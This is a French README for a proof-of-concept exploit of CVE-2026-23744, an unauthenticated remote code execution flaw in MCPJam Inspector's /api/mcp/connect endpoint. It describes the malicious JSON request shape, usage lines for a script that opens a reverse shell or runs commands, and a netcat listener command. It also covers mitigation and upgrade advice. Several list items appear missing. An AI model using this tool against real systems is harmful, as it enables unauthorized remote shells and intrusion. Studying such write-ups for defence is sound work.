
Exploit de preuve de concept pour CVE-2026-23744, une RCE non authentifiée dans MCPJam Inspector. Fournit un shell inversé et une exécution de commandes via un point de terminaison API vulnérable.
CVE-2026-23744 est une vulnérabilité critique d'exécution de code à distance non authentifiée (RCE) affectant MCPJam Inspector ≤ 1.4.2. Le problème vient du fait qu'Inspector expose un point d'accès de gestion (/api/mcp/connect) qui accepte une configuration de serveur MCP contrôlée par l'utilisateur et peut déclencher l'exécution de processus sans authentification ni restrictions de sécurité adéquates. Les versions concernées écoutent sur 0.0.0.0 (toutes les interfaces) par défaut au lieu de localhost, rendant l'exploitation à distance possible si le service est accessible sur le réseau.
La vulnérabilité est associée au point d'accès suivant :
POST /api/mcp/connect
Le point d'accès accepte un objet JSON contenant une configuration de serveur, comme :
{
"serverConfig": {
"command": "<executable>",
"args": ["<arguments>"],
"env": {}
},
"serverId": "<identifier>"
}
Cette configuration fournie est ensuite utilisée par MCPJam Inspector pour créer et gérer un nouveau processus serveur MCP. Comme le point d'accès manque d'authentification et de contrôles de sécurité suffisants, un attaquant peut soumettre des définitions de processus arbitraires qui sont exécutées par le service Inspector.
Fondamentalement, la vulnérabilité est un problème d'authentification manquante pour une fonction critique (CWE-306) dans lequel l'application expose des fonctionnalités destinées à des utilisateurs locaux de confiance et les rend accessibles sur le réseau sans contrôles de sécurité adéquats.
La vulnérabilité provient de deux défauts de conception :
0.0.0.0 par défaut.Le chemin d'attaque résultant peut être visualisé comme suit :
Attacker → /api/mcp/connect → Process Creation → Operating System
Comme l'application interagit directement avec la création de processus du système d'exploitation, une exploitation réussie peut entraîner l'exécution de commandes arbitraires dans le contexte de sécurité du service MCPJam Inspector.
python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port>
-t (ou) --target: URL cible ou adresse IP cible.-tport (ou) --target-port: Port cible auquel se connecter, dans la plupart des cas il s'agit du 6274 pour MCPJam Inspector. N'utilisez pas cet argument si MCPJam Inspector est hébergé ailleurs, comme sur un sous-domaine ou un hôte virtuel. Utilisez plutôt l'argument -t pour spécifier le sous-domaine ou l'hôte virtuel.-lhost (ou) --local-host: Adresse IP publique pour que le shell inverse se reconnecte.-lport (ou) --local-port: Port à utiliser pour le shell inverse.python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port> -c '<command>'
-c (ou) --command: Commande à exécuter sur la cible.Avant d'utiliser ce programme, vous devez d'abord démarrer un écouteur sur votre machine locale en utilisant Netcat.
Pour ce faire, utilisez la commande suivante :
nc -lvnp <port>
Ensuite, exécutez la commande ci-dessus pour obtenir un shell inverse sur la cible.
Une exploitation réussie peut permettre à un attaquant de :
La vulnérabilité a reçu un score CVSS v3.1 de 9.8 (Critique) en raison de son vecteur d'attaque réseau, de l'absence d'authentification, de l'absence d'interaction utilisateur et du fort impact sur la confidentialité, l'intégrité et la disponibilité.
Mettez à jour immédiatement vers MCPJam Inspector 1.4.3 ou une version ultérieure. Des mesures défensives supplémentaires incluent :
Cette POC est uniquement destinée à des fins éducatives, de recherche en sécurité défensive et de tests de sécurité autorisés. Elle ne doit être utilisée que contre des systèmes avec une autorisation explicite. Une utilisation non autorisée contre des systèmes tiers peut enfreindre les lois et réglementations applicables. Le propriétaire de ce dépôt n'est pas responsable des dommages causés par l'utilisation de ce programme.